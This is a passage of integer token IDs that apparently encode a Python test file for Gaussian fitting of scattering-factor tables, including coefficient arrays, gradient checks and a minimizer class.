29953,
876,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
29883,
3285,
29871,
29953,
29899,
29945,
29897,
13,
29871,
4974,
269,
29887,
13801,
29889,
1509,
29918,
29883,
580,
13,
29871,
12651,
353,
269,
29887,
13801,
29889,
29881,
8349,
2063,
580,
13,
29871,
363,
671,
29918,
18816,
8247,
297,
518,
8824,
29892,
5852,
5387,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
5182,
29918,
2220,
29898,
29906,
29892,
671,
29918,
18816,
8247,
29892,
12651,
511,
13,
539,
29946,
29946,
29889,
29947,
29896,
29947,
29896,
29946,
29946,
29946,
29897,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
13801,
29889,
5182,
29918,
2220,
29898,
29946,
29892,
671,
29918,
18816,
8247,
29892,
12651,
511,
13,
539,
29955,
29945,
29955,
29889,
29941,
29896,
29953,
29900,
29941,
29906,
29929,
29897,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
13,
418,
269,
29887,
13801,
29889,
5105,
10070,
29918,
29881,
29918,
10736,
29898,
29906,
29892,
671,
29918,
18816,
8247,
29892,
12651,
511,
13,
418,
518,
29906,
29896,
29889,
29896,
29896,
29941,
29906,
29900,
29955,
29896,
29892,
448,
29953,
29889,
29900,
29945,
29941,
29906,
29953,
29929,
29945,
29892,
29871,
29896,
29941,
29889,
29953,
29953,
29941,
29947,
29906,
29955,
29946,
29892,
448,
29906,
29889,
29906,
29946,
29953,
29900,
29929,
29929,
29946,
29892,
29871,
29906,
29906,
29889,
29955,
29947,
29953,
29900,
29947,
29900,
29929,
2314,
13,
29871,
12651,
353,
274,
29918,
9202,
29889,
29881,
8349,
2063,
580,
13,
29871,
330,
10736,
353,
274,
29918,
9202,
29889,
5105,
10070,
29918,
29881,
29918,
10736,
29898,
29906,
29892,
7700,
29892,
12651,
29897,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
13,
1678,
330,
10736,
29892,
13,
1678,
21069,
29900,
29889,
29900,
29896,
29953,
29945,
29906,
29945,
29941,
29929,
29896,
29946,
29906,
29945,
29906,
29900,
29953,
29941,
29929,
29896,
29892,
29871,
29900,
29889,
29900,
29900,
29955,
29946,
29946,
29953,
29945,
29906,
29941,
29929,
29941,
29955,
29945,
29945,
29947,
29929,
29896,
29900,
29955,
29892,
29871,
29900,
29889,
29900,
29906,
29900,
29900,
29945,
29945,
29947,
29955,
29953,
29955,
29906,
29941,
29953,
29953,
29955,
29945,
29953,
29946,
29892,
13,
418,
29900,
29889,
29900,
29900,
29900,
29945,
29946,
29955,
29929,
29946,
29953,
29941,
29945,
29906,
29945,
29955,
29947,
29941,
29947,
29906,
29945,
29896,
29892,
448,
29900,
29889,
29900,
29896,
29947,
29955,
29945,
29946,
29900,
29896,
29896,
29941,
29955,
29929,
29955,
29906,
29953,
29946,
29906,
29945,
29892,
448,
29900,
29889,
29900,
29900,
29896,
29896,
29896,
29929,
29946,
29900,
29900,
29946,
29947,
29900,
29929,
29945,
29946,
29929,
29896,
29946,
29941,
2314,
13,
29871,
4974,
2134,
29916,
29918,
11745,
29898,
13,
1678,
274,
29918,
9202,
29889,
5105,
10070,
29918,
29881,
29918,
845,
17741,
29898,
16041,
29889,
8896,
3552,
29900,
29889,
29896,
29892,
29900,
29889,
29946,
29892,
29900,
29889,
29906,
29892,
29900,
29889,
29945,
29892,
29900,
29889,
29941,
29892,
29900,
29889,
29953,
8243,
330,
10736,
511,
13,
1678,
21069,
29900,
29889,
29900,
29896,
29953,
29945,
29906,
29945,
29946,
29892,
29871,
29900,
29889,
29900,
29896,
29953,
29945,
29953,
29945,
29896,
29906,
29892,
29871,
29900,
29889,
29900,
29906,
29900,
29900,
29945,
29945,
29929,
29892,
29871,
29900,
29889,
29900,
29900,
29946,
29953,
29946,
29947,
29947,
29892,
448,
29900,
29889,
29900,
29896,
29947,
29955,
29945,
29946,
29900,
29892,
448,
29900,
29889,
29900,
29896,
29945,
29947,
29946,
29947,
29955,
2314,
13,
29871,
330,
29945,
29883,
353,
330,
17019,
29889,
2083,
29898,
13,
1678,
313,
29906,
29889,
29953,
29945,
29955,
29945,
29900,
29945,
29929,
29947,
29929,
29900,
29955,
29946,
29955,
29900,
29955,
29892,
29871,
29896,
29889,
29900,
29955,
29947,
29900,
29955,
29947,
29929,
29947,
29945,
29906,
29896,
29946,
29906,
29941,
29941,
29946,
29892,
29871,
29896,
29889,
29946,
29929,
29900,
29929,
29900,
29947,
29929,
29947,
29900,
29941,
29953,
29929,
29945,
29953,
29955,
29929,
29892,
13,
268,
448,
29946,
29889,
29906,
29946,
29896,
29900,
29953,
29929,
29955,
29929,
29941,
29955,
29900,
29896,
29896,
29955,
29896,
29929,
29892,
29871,
29900,
29889,
29955,
29896,
29941,
29955,
29929,
29896,
29900,
29896,
29906,
29955,
29953,
29941,
29929,
29955,
29955,
29900,
29945,
511,
13,
1678,
313,
29896,
29946,
29889,
29955,
29947,
29900,
29955,
29945,
29955,
29929,
29900,
29946,
29900,
29945,
29906,
29955,
29941,
29946,
29892,
29871,
29900,
29889,
29955,
29955,
29953,
29955,
29955,
29945,
29900,
29900,
29906,
29946,
29955,
29929,
29945,
29945,
29941,
29906,
29906,
29892,
29871,
29946,
29906,
29889,
29900,
29947,
29953,
29947,
29946,
29896,
29945,
29947,
29941,
29906,
29945,
29896,
29929,
29945,
29941,
29892,
13,
268,
448,
29900,
29889,
29900,
29900,
29900,
29906,
29929,
29941,
29929,
29929,
29929,
29929,
29929,
29955,
29953,
29953,
29953,
29896,
29900,
29945,
29953,
29941,
29892,
29871,
29900,
29889,
29906,
29941,
29929,
29945,
29941,
29945,
29900,
29900,
29941,
29929,
29900,
29900,
29945,
29906,
29955,
29929,
29945,
511,
13,
268,
29946,
29889,
29906,
29929,
29955,
29929,
29947,
29941,
29896,
29953,
29929,
29945,
29945,
29945,
29953,
29953,
29946,
29896,
29897,
13,
29871,
363,
3160,
29918,
23362,
29918,
8489,
297,
313,
8824,
29892,
5852,
1125,
13,
1678,
263,
353,
8525,
29889,
8896,
29898,
29887,
29945,
29883,
29889,
2378,
29918,
974,
29918,
29874,
3101,
13,
1678,
289,
353,
8525,
29889,
8896,
29898,
29887,
29945,
29883,
29889,
2378,
29918,
974,
29918,
29890,
3101,
13,
1678,
20005,
362,
353,
8525,
29889,
6605,
29918,
546,
6149,
362,
29898,
1272,
29922,
16041,
29889,
6897,
29898,
29874,
511,
11837,
29922,
5574,
29897,
7503,
29946,
29962,
13,
1678,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
418,
8525,
29889,
8896,
4197,
29900,
11724,
13,
418,
330,
29945,
29883,
29892,
13,
418,
8525,
29889,
8896,
29898,
29896,
29892,
29871,
29896,
511,
13,
418,
330,
17019,
29889,
2083,
29898,
13,
4706,
4256,
29898,
29874,
29889,
2622,
29898,
546,
6149,
362,
8243,
13,
4706,
4256,
29898,
29890,
29889,
2622,
29898,
546,
6149,
362,
8243,
29871,
29900,
29892,
3160,
29918,
23362,
29918,
8489,
876,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
29887,
29888,
29889,
29881,
8349,
2063,
3285,
21069,
29945,
29889,
29900,
29896,
29896,
29955,
29955,
29946,
29896,
29947,
29906,
29941,
29906,
2314,
13,
1678,
528,
17741,
353,
8525,
29889,
8896,
29898,
29947,
6653,
29896,
29897,
13,
1678,
565,
313,
2856,
29918,
23362,
29918,
8489,
1125,
528,
17741,
29889,
4397,
6278,
29889,
29906,
29897,
13,
1678,
269,
29887,
29888,
353,
330,
29888,
29889,
7302,
29918,
845,
17741,
29898,
845,
17741,
29892,
7700,
29897,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
2378,
29918,
974,
29918,
29874,
3285,
13,
462,
4706,
21069,
29945,
29889,
29906,
29946,
29896,
29900,
29953,
29929,
29947,
29892,
29871,
29896,
29889,
29953,
29945,
29955,
29945,
29900,
29953,
29892,
29871,
29900,
29889,
29946,
29929,
29900,
29929,
29900,
29947,
29929,
29947,
29892,
29871,
29900,
29889,
29900,
29955,
29947,
29900,
29955,
29947,
29929,
29947,
29945,
2314,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
2378,
29918,
974,
29918,
29890,
3285,
13,
462,
4706,
21069,
29896,
29889,
29900,
29900,
29900,
29906,
29929,
29946,
29900,
29892,
29871,
29896,
29941,
29889,
29955,
29947,
29900,
29955,
29945,
29947,
29892,
29871,
29946,
29896,
29889,
29900,
29947,
29953,
29947,
29946,
29906,
29892,
448,
29900,
29889,
29906,
29906,
29941,
29906,
29906,
29945,
2314,
13,
1678,
565,
313,
2856,
29918,
23362,
29918,
8489,
1125,
13,
418,
4974,
2134,
29916,
29918,
11745,
29898,
5311,
29888,
29889,
29883,
3285,
448,
29889,
29906,
29897,
13,
1678,
3806,
29918,
5105,
10070,
353,
518,
29896,
29892,
29900,
29892,
29896,
29892,
29900,
29892,
29896,
29892,
29900,
29892,
29896,
29892,
29900,
29962,
13,
1678,
565,
313,
2856,
29918,
23362,
29918,
8489,
1125,
3806,
29918,
5105,
10070,
29889,
4397,
29898,
29896,
29897,
13,
1678,
4974,
2134,
29916,
29918,
11745,
29898,
13,
418,
6216,
29918,
18925,
29918,
12765,
29918,
5105,
10070,
29898,
5311,
29888,
29892,
29871,
29900,
511,
13,
418,
3806,
29918,
5105,
10070,
29892,
13,
418,
321,
567,
29922,
29896,
29889,
29872,
29899,
29946,
29897,
13,
1678,
363,
474,
297,
921,
3881,
29898,
29896,
29900,
1125,
13,
418,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
4706,
8525,
29889,
8896,
4197,
29875,
847,
29871,
29896,
29900,
5586,
511,
13,
4706,
330,
29945,
29883,
29892,
13,
4706,
8525,
29889,
8896,
29898,
29896,
29892,
29871,
29896,
511,
13,
4706,
269,
29887,
29888,
29897,
13,
418,
12651,
353,
8525,
29889,
8896,
4197,
29900,
29889,
29945,
2314,
13,
418,
4974,
2134,
29916,
29918,
11745,
29898,
13,
4706,
330,
29888,
29889,
5105,
10070,
29918,
29881,
29918,
10736,
29898,
29906,
29892,
7700,
29892,
12651,
511,
13,
4706,
6216,
29918,
18925,
29918,
12765,
29918,
5105,
10070,
29898,
29887,
29888,
29892,
330,
29888,
29889,
2371,
29918,
29916,
580,
29961,
29900,
11724,
13,
4706,
321,
567,
29922,
29896,
29889,
29872,
29899,
29941,
29897,
13,
418,
363,
269,
2934,
297,
518,
29900,
29889,
29900,
29946,
29892,
29900,
29889,
29900,
29906,
29892,
29900,
29889,
29900,
29896,
5387,
13,
4706,
330,
29888,
353,
330,
17019,
29889,
9202,
29898,
13,
3986,
8525,
29889,
8896,
4197,
29875,
847,
29871,
29906,
29900,
5586,
511,
13,
3986,
330,
29945,
29883,
29892,
13,
3986,
8525,
29889,
8896,
4197,
3754,
11724,
13,
3986,
269,
29887,
29888,
29897,
13,
4706,
363,
3081,
297,
518,
29906,
29892,
29946,
5387,
13,
3986,
363,
671,
29918,
18816,
8247,
297,
518,
8824,
29892,
5852,
5387,
13,
9651,
12651,
353,
330,
29888,
29889,
29881,
8349,
2063,
580,
13,
9651,
385,
29922,
29887,
29888,
29889,
5105,
10070,
29918,
29881,
29918,
10736,
29898,
13519,
29892,
671,
29918,
18816,
8247,
29892,
12651,
29897,
13,
9651,
5713,
29922,
9202,
29918,
18925,
29918,
12765,
29918,
5182,
29918,
5105,
10070,
29898,
29887,
29888,
29892,
3081,
29892,
671,
29918,
18816,
8247,
29897,
13,
9651,
4974,
321,
567,
29918,
1837,
29898,
273,
29892,
5713,
29892,
321,
567,
29922,
29896,
29889,
29872,
29899,
29941,
29897,
13,
13,
4287,
6718,
29918,
29879,
29918,
29891,
29918,
2371,
353,
518,
13,
29900,
29889,
29900,
29900,
29892,
29871,
29953,
29889,
29900,
29900,
29900,
29892,
29871,
29900,
29889,
29900,
29896,
29892,
29871,
29945,
29889,
29929,
29929,
29900,
29892,
29871,
29900,
29889,
29900,
29906,
29892,
29871,
29945,
29889,
29929,
29945,
29947,
29892,
29871,
29900,
29889,
29900,
29941,
29892,
29871,
29945,
29889,
29929,
29900,
29955,
29892,
29871,
29900,
29889,
29900,
29946,
29892,
29871,
29945,
29889,
29947,
29941,
29955,
29892,
29871,
29900,
29889,
29900,
29945,
29892,
29871,
29945,
29889,
29955,
29946,
29929,
29892,
13,
29900,
29889,
29900,
29953,
29892,
29871,
29945,
29889,
29953,
29946,
29945,
29892,
29871,
29900,
29889,
29900,
29955,
29892,
29871,
29945,
29889,
29945,
29906,
29953,
29892,
29871,
29900,
29889,
29900,
29947,
29892,
29871,
29945,
29889,
29941,
29929,
29953,
29892,
29871,
29900,
29889,
29900,
29929,
29892,
29871,
29945,
29889,
29906,
29945,
29945,
29892,
29871,
29900,
29889,
29896,
29900,
29892,
29871,
29945,
29889,
29896,
29900,
29955,
29892,
29871,
29900,
29889,
29896,
29896,
29892,
29871,
29946,
29889,
29929,
29945,
29906,
29892,
13,
29900,
29889,
29896,
29906,
29892,
29871,
29946,
29889,
29955,
29929,
29946,
29892,
29871,
29900,
29889,
29896,
29941,
29892,
29871,
29946,
29889,
29953,
29941,
29941,
29892,
29871,
29900,
29889,
29896,
29946,
29892,
29871,
29946,
29889,
29946,
29955,
29906,
29892,
29871,
29900,
29889,
29896,
29945,
29892,
29871,
29946,
29889,
29941,
29896,
29896,
29892,
29871,
29900,
29889,
29896,
29953,
29892,
29871,
29946,
29889,
29896,
29945,
29941,
29892,
29871,
29900,
29889,
29896,
29955,
29892,
29871,
29941,
29889,
29929,
29929,
29947,
29892,
13,
29900,
29889,
29896,
29947,
29892,
29871,
29941,
29889,
29947,
29946,
29955,
29892,
29871,
29900,
29889,
29896,
29929,
29892,
29871,
29941,
29889,
29955,
29900,
29896,
29892,
29871,
29900,
29889,
29906,
29900,
29892,
29871,
29941,
29889,
29945,
29953,
29900,
29892,
29871,
29900,
29889,
29906,
29906,
29892,
29871,
29941,
29889,
29906,
29929,
29955,
29892,
29871,
29900,
29889,
29906,
29946,
29892,
29871,
29941,
29889,
29900,
29945,
29947,
29892,
29871,
29900,
29889,
29906,
29945,
29892,
29871,
29906,
29889,
29929,
29946,
29929,
29892,
13,
29900,
29889,
29906,
29953,
29892,
29871,
29906,
29889,
29947,
29946,
29953,
29892,
29871,
29900,
29889,
29906,
29947,
29892,
29871,
29906,
29889,
29953,
29945,
29947,
29892,
29871,
29900,
29889,
29941,
29900,
29892,
29871,
29906,
29889,
29946,
29929,
29946,
29892,
29871,
29900,
29889,
29941,
29906,
29892,
29871,
29906,
29889,
29941,
29945,
29896,
29892,
29871,
29900,
29889,
29941,
29946,
29892,
29871,
29906,
29889,
29906,
29906,
29955,
29892,
29871,
29900,
29889,
29941,
29945,
29892,
29871,
29906,
29889,
29896,
29955,
29896,
29892,
13,
29900,
29889,
29941,
29953,
29892,
29871,
29906,
29889,
29896,
29906,
29900,
29892,
29871,
29900,
29889,
29941,
29947,
29892,
29871,
29906,
29889,
29900,
29906,
29947,
29892,
29871,
29900,
29889,
29946,
29900,
29892,
29871,
29896,
29889,
29929,
29946,
29947,
29892,
29871,
29900,
29889,
29946,
29906,
29892,
29871,
29896,
29889,
29947,
29947,
29900,
29892,
29871,
29900,
29889,
29946,
29946,
29892,
29871,
29896,
29889,
29947,
29906,
29896,
29892,
29871,
29900,
29889,
29946,
29945,
29892,
29871,
29896,
29889,
29955,
29929,
29946,
29892,
13,
29900,
29889,
29946,
29953,
29892,
29871,
29896,
29889,
29955,
29955,
29900,
29892,
29871,
29900,
29889,
29946,
29947,
29892,
29871,
29896,
29889,
29955,
29906,
29945,
29892,
29871,
29900,
29889,
29945,
29900,
29892,
29871,
29896,
29889,
29953,
29947,
29945,
29892,
29871,
29900,
29889,
29945,
29945,
29892,
29871,
29896,
29889,
29953,
29900,
29941,
29892,
29871,
29900,
29889,
29953,
29900,
29892,
29871,
29896,
29889,
29945,
29941,
29955,
29892,
29871,
29900,
29889,
29953,
29945,
29892,
29871,
29896,
29889,
29946,
29955,
29929,
29892,
13,
29900,
29889,
29955,
29900,
29892,
29871,
29896,
29889,
29946,
29906,
29953,
29892,
29871,
29900,
29889,
29947,
29900,
29892,
29871,
29896,
29889,
29941,
29906,
29906,
29892,
29871,
29900,
29889,
29929,
29900,
29892,
29871,
29896,
29889,
29906,
29896,
29929,
29892,
29871,
29896,
29889,
29900,
29900,
29892,
29871,
29896,
29889,
29896,
29896,
29946,
29892,
29871,
29896,
29889,
29896,
29900,
29892,
29871,
29896,
29889,
29900,
29896,
29906,
29892,
29871,
29896,
29889,
29906,
29900,
29892,
29871,
29900,
29889,
29929,
29896,
29946,
29892,
13,
29896,
29889,
29941,
29900,
29892,
29871,
29900,
29889,
29947,
29906,
29906,
29892,
29871,
29896,
29889,
29946,
29900,
29892,
29871,
29900,
29889,
29955,
29941,
29953,
29892,
29871,
29896,
29889,
29945,
29900,
29892,
29871,
29900,
29889,
29953,
29945,
29929,
29892,
29871,
29896,
29889,
29953,
29900,
29892,
29871,
29900,
29889,
29945,
29947,
29947,
29892,
29871,
29896,
29889,
29955,
29900,
29892,
29871,
29900,
29889,
29945,
29906,
29945,
29892,
29871,
29896,
29889,
29947,
29900,
29892,
29871,
29900,
29889,
29946,
29953,
29947,
29892,
13,
29896,
29889,
29929,
29900,
29892,
29871,
29900,
29889,
29946,
29896,
29947,
29892,
29871,
29906,
29889,
29900,
29900,
29892,
29871,
29900,
29889,
29941,
29955,
29941,
29892,
29871,
29906,
29889,
29945,
29900,
29892,
29871,
29900,
29889,
29906,
29896,
29953,
29892,
29871,
29941,
29889,
29900,
29900,
29892,
29871,
29900,
29889,
29896,
29941,
29900,
29892,
29871,
29941,
29889,
29945,
29900,
29892,
29871,
29900,
29889,
29900,
29947,
29896,
29892,
29871,
29946,
29889,
29900,
29900,
29892,
29871,
29900,
29889,
29900,
29945,
29941,
29892,
13,
29945,
29889,
29900,
29900,
29892,
29871,
29900,
29889,
29900,
29906,
29945,
29892,
29871,
29953,
29889,
29900,
29900,
29892,
29871,
29900,
29889,
29900,
29896,
29941,
29962,
13,
13,
1990,
4434,
7964,
29918,
9202,
29901,
13,
13,
29871,
822,
4770,
2344,
12035,
1311,
29892,
4046,
29892,
16127,
1125,
13,
1678,
1583,
29889,
13400,
353,
4046,
13,
1678,
1583,
29889,
1111,
8462,
29879,
353,
16127,
13,
13,
4287,
6718,
29918,
9202,
29918,
29953,
353,
4434,
7964,
29918,
9202,
29898,
29953,
29889,
29900,
29892,
518,
13,
29906,
29889,
29896,
29947,
29896,
29947,
29947,
29945,
29953,
29955,
29953,
29947,
29953,
29892,
29871,
29896,
29941,
29889,
29946,
29945,
29941,
29941,
29955,
29900,
29947,
29941,
29906,
29947,
29892,
13,
29896,
29889,
29955,
29955,
29953,
29896,
29906,
29941,
29955,
29955,
29953,
29941,
29929,
29892,
29871,
29941,
29906,
29889,
29945,
29955,
29929,
29900,
29896,
29906,
29941,
29945,
29906,
29941,
29892,
13,
29896,
29889,
29900,
29947,
29955,
29955,
29906,
29900,
29896,
29896,
29906,
29929,
29955,
29892,
29871,
29900,
29889,
29955,
29946,
29955,
29906,
29929,
29941,
29906,
29953,
29946,
29945,
29955,
29941,
29892,
13,
29900,
29889,
29953,
29946,
29896,
29946,
29953,
29900,
29929,
29947,
29929,
29929,
29941,
29896,
29892,
29871,
29900,
29889,
29906,
29945,
29896,
29906,
29945,
29896,
29946,
29929,
29947,
29896,
29955,
29945,
29892,
13,
29900,
29889,
29906,
29900,
29955,
29947,
29947,
29945,
29929,
29929,
29946,
29946,
29945,
29896,
29892,
29871,
29947,
29900,
29889,
29929,
29955,
29929,
29929,
29941,
29896,
29941,
29906,
29955,
29945,
29892,
13,
29900,
29889,
29896,
29900,
29945,
29906,
29896,
29929,
29896,
29947,
29946,
29945,
29900,
29955,
29892,
29871,
29900,
29889,
29900,
29945,
29947,
29955,
29906,
29929,
29955,
29929,
29955,
29929,
29947,
29896,
29953,
2314,
13,
13,
4287,
6718,
29918,
9202,
29918,
29945,
353,
4434,
7964,
29918,
9202,
29898,
29953,
29889,
29900,
29892,
518,
13,
29906,
29889,
29953,
29945,
29946,
29953,
29941,
29946,
29941,
29896,
29953,
29953,
29941,
29892,
29871,
29896,
29946,
29889,
29955,
29953,
29953,
29945,
29900,
29941,
29955,
29945,
29900,
29945,
29892,
13,
29896,
29889,
29946,
29929,
29946,
29906,
29900,
29906,
29953,
29946,
29955,
29900,
29929,
29892,
29871,
29946,
29906,
29889,
29900,
29946,
29900,
29929,
29955,
29953,
29955,
29906,
29900,
29947,
29892,
13,
29896,
29889,
29900,
29945,
29945,
29953,
29941,
29906,
29896,
29900,
29929,
29946,
29941,
29892,
29871,
29900,
29889,
29955,
29947,
29900,
29947,
29945,
29953,
29946,
29929,
29929,
29947,
29947,
29946,
29892,
13,
29900,
29889,
29953,
29947,
29947,
29900,
29906,
29896,
29945,
29941,
29896,
29945,
29929,
29955,
29892,
29871,
29900,
29889,
29906,
29945,
29947,
29929,
29953,
29941,
29929,
29929,
29947,
29955,
29947,
29946,
29892,
13,
29900,
29889,
29896,
29900,
29946,
29953,
29947,
29896,
29906,
29946,
29953,
29945,
29955,
29906,
29892,
29871,
29900,
29889,
29900,
29945,
29955,
29929,
29946,
29953,
29945,
29953,
29896,
29896,
29955,
29906,
29947,
2314,
13,
13,
4287,
6718,
29918,
9202,
29918,
29946,
353,
4434,
7964,
29918,
9202,
29898,
29941,
29889,
29900,
29892,
518,
13,
29906,
29889,
29906,
29896,
29945,
29945,
29955,
29945,
29947,
29900,
29955,
29900,
29929,
29892,
29871,
29896,
29906,
29889,
29955,
29945,
29906,
29941,
29900,
29900,
29900,
29906,
29900,
29953,
29892,
13,
29896,
29889,
29929,
29947,
29941,
29900,
29953,
29900,
29953,
29953,
29947,
29941,
29896,
29892,
29871,
29941,
29953,
29889,
29946,
29929,
29900,
29945,
29896,
29896,
29900,
29896,
29929,
29953,
29892,
13,
29896,
29889,
29941,
29896,
29953,
29941,
29953,
29955,
29906,
29947,
29946,
29955,
29906,
29892,
29871,
29900,
29889,
29953,
29941,
29906,
29947,
29906,
29945,
29941,
29945,
29946,
29900,
29929,
29941,
29892,
13,
29900,
29889,
29946,
29947,
29900,
29947,
29896,
29906,
29900,
29953,
29946,
29953,
29906,
29896,
29892,
29871,
29900,
29889,
29896,
29946,
29947,
29900,
29955,
29929,
29896,
29906,
29900,
29896,
29941,
29945,
2314,
13,
13,
4287,
6718,
29918,
9202,
29918,
29941,
353,
4434,
7964,
29918,
9202,
29898,
29896,
29889,
29946,
29892,
518,
13,
29906,
29889,
29945,
29896,
29941,
29946,
29900,
29896,
29906,
29955,
29906,
29945,
29906,
29892,
29871,
29941,
29896,
29889,
29947,
29900,
29945,
29941,
29946,
29941,
29941,
29955,
29900,
29947,
29892,
13,
29896,
29889,
29955,
29946,
29947,
29953,
29955,
29900,
29896,
29929,
29946,
29900,
29929,
29892,
29871,
29900,
29889,
29946,
29946,
29945,
29953,
29900,
29945,
29946,
29929,
29929,
29929,
29947,
29906,
29892,
13,
29896,
29889,
29955,
29906,
29941,
29929,
29947,
29906,
29900,
29906,
29941,
29945,
29953,
29892,
29871,
29896,
29900,
29889,
29945,
29947,
29941,
29896,
29953,
29955,
29929,
29946,
29945,
29896,
2314,
13,
13,
4287,
6718,
29918,
9202,
29918,
29906,
353,
4434,
7964,
29918,
9202,
29898,
29900,
29889,
29945,
29892,
518,
13,
29941,
29889,
29945,
29946,
29941,
29945,
29945,
29945,
29945,
29900,
29953,
29929,
29945,
29892,
29871,
29906,
29945,
29889,
29953,
29906,
29941,
29929,
29947,
29941,
29947,
29896,
29929,
29896,
29892,
13,
29906,
29889,
29946,
29906,
29945,
29955,
29929,
29953,
29955,
29941,
29955,
29941,
29945,
29892,
29871,
29896,
29889,
29945,
29900,
29941,
29953,
29946,
29946,
29953,
29900,
29955,
29955,
29946,
2314,
13,
13,
4287,
6718,
29918,
9202,
29918,
29896,
353,
4434,
7964,
29918,
9202,
29898,
29900,
29889,
29896,
29945,
29892,
518,
13,
29945,
29889,
29929,
29953,
29955,
29929,
29906,
29947,
29900,
29953,
29896,
29896,
29896,
29892,
29871,
29896,
29946,
29889,
29947,
29929,
29945,
29955,
29953,
29947,
29906,
29929,
29947,
29955,
2314,
13,
13,
4287,
6718,
29918,
277,
29896,
29929,
29929,
29906,
353,
4434,
7964,
29918,
9202,
29898,
29906,
29889,
29900,
29892,
518,
13,
29906,
29889,
29941,
29896,
29900,
29900,
29900,
29892,
29871,
29906,
29900,
29889,
29947,
29946,
29941,
29929,
29892,
13,
29896,
29889,
29900,
29906,
29900,
29900,
29900,
29892,
29871,
29896,
29900,
29889,
29906,
29900,
29955,
29945,
29892,
13,
29896,
29889,
29945,
29947,
29947,
29953,
29900,
29892,
29871,
29900,
29889,
29945,
29953,
29947,
29955,
29900,
29900,
29892,
13,
29900,
29889,
29947,
29953,
29945,
29900,
29900,
29900,
29892,
29871,
29945,
29896,
29889,
29953,
29945,
29896,
29906,
29892,
13,
29900,
29889,
29906,
29896,
29945,
29953,
29900,
29900,
2314,
13,
13,
4287,
6718,
29918,
29893,
29895,
29896,
29929,
29929,
29945,
353,
4434,
7964,
29918,
9202,
29898,
29953,
29889,
29900,
29892,
518,
13,
29906,
29889,
29953,
29945,
29955,
29945,
29900,
29953,
29892,
29871,
29896,
29946,
29889,
29955,
29947,
29900,
29955,
29945,
29947,
29892,
13,
29896,
29889,
29900,
29955,
29947,
29900,
29955,
29929,
29892,
29871,
29900,
29889,
29955,
29955,
29953,
29955,
29955,
29945,
29892,
13,
29896,
29889,
29946,
29929,
29900,
29929,
29900,
29929,
29892,
29871,
29946,
29906,
29889,
29900,
29947,
29953,
29947,
29946,
29906,
29892,
13,
29899,
29946,
29889,
29906,
29946,
29896,
29900,
29955,
29900,
29892,
448,
29900,
29889,
29900,
29900,
29900,
29906,
29929,
29946,
29892,
13,
29900,
29889,
29955,
29896,
29941,
29955,
29929,
29896,
29892,
29871,
29900,
29889,
29906,
29941,
29929,
29945,
29941,
29945,
29892,
13,
29946,
29889,
29906,
29929,
29955,
29929,
29947,
29941,
2314,
13,
13,
1990,
22004,
29918,
9202,
29898,
6727,
3670,
747,
2251,
29918,
4011,
29889,
1688,
29918,
2220,
1125,
13,
13,
29871,
822,
4770,
2344,
12035,
1311,
29892,
4434,
29918,
9202,
29892,
22786,
29892,
26952,
1125,
13,
1678,
1583,
29889,
3891,
29918,
9202,
353,
4434,
29918,
9202,
13,
1678,
1583,
29889,
10700,
9265,
353,
22786,
13,
1678,
1583,
29889,
369,
15828,
353,
26952,
13,
1678,
22004,
29918,
893,
353,
8525,
29889,
8896,
29898,
4287,
6718,
29918,
29879,
29918,
29891,
29918,
2371,
9601,
29900,
1057,
29906,
29962,
13,
1678,
22004,
29918,
952,
353,
8525,
29889,
8896,
29898,
4287,
6718,
29918,
29879,
29918,
29891,
29918,
2371,
9601,
29896,
1057,
29906,
29962,
13,
1678,
9262,
353,
22004,
29918,
893,
5277,
4434,
29918,
9202,
29889,
13400,
718,
29871,
29896,
29889,
29872,
29899,
29941,
13,
1678,
1583,
29889,
9202,
353,
330,
17019,
29889,
9202,
29898,
13,
418,
22004,
29918,
893,
29889,
2622,
29898,
21731,
511,
13,
418,
22004,
29918,
952,
29889,
2622,
29898,
21731,
511,
13,
418,
8525,
29889,
8896,
29898,
21731,
29889,
2798,
29898,
5574,
511,
29871,
29896,
511,
13,
418,
330,
17019,
29889,
2083,
29898,
16041,
29889,
8896,
29898,
3891,
29918,
9202,
29889,
1111,
8462,
29879,
4961,
13,
1678,
302,
353,
1583,
29889,
9202,
29889,
29876,
29918,
16744,
580,
13,
1678,
5198,
3670,
747,
2251,
29918,
4011,
29889,
1688,
29918,
2220,
17255,
2344,
12035,
1311,
29892,
13,
418,
286,
29922,
1311,
29889,
9202,
29889,
2371,
29918,
29916,
2141,
2311,
3285,
13,
418,
302,
29922,
29876,
29892,
13,
418,
1423,
29918,
2541,
29918,
18925,
29918,
29881,
8349,
2063,
7607,
29876,
5277,
29871,
29953,
470,
302,
1275,
29871,
29929,
511,
13,
418,
26952,
29922,
369,
15828,
29897,
13,
13,
29871,
822,
17865,
29898,
1311,
1125,
13,
1678,
1583,
29889,
29916,
29900,
353,
1583,
29889,
9202,
29889,
16744,
580,
13,
1678,
1583,
29889,
5030,
2410,
29918,
29888,
29918,
29916,
29918,
8508,
353,
29871,
29900,
29889,
29945,
29930,
1311,
29889,
29888,
29898,
29916,
29922,
1311,
29889,
29916,
29900,
467,
12324,
580,
1068,
29906,
13,
1678,
565,
313,
1311,
29889,
10700,
9265,
1125,
13,
418,
286,
414,
4584,
29918,
7516,
1531,
353,
8525,
29889,
13269,
4584,
29918,
7516,
1531,
29898,
26776,
29922,
29900,
29897,
13,
418,
1583,
29889,
29916,
29900,
334,
29922,
29871,
29896,
718,
286,
414,
4584,
29918,
7516,
1531,
29889,
8172,
29918,
8896,
29898,
13,
4706,
2159,
29922,
1311,
29889,
29916,
29900,
29889,
2311,
3285,
7329,
29922,
29900,
29889,
29900,
29896,
29897,
13,
1678,
1583,
29889,
4722,
29900,
353,
29871,
29896,
29872,
29899,
29947,
13,
1678,
1583,
29889,
4181,
29900,
353,
29871,
29896,
29900,
13,
1678,
1583,
29889,
29916,
29918,
8508,
353,
6213,
13,
13,
29871,
822,
3858,
29898,
1311,
1125,
13,
1678,
736,
376,
4287,
6718,
29918,
9202,
29898,
29876,
16328,
29881,
29892,
22786,
16328,
29879,
5513,
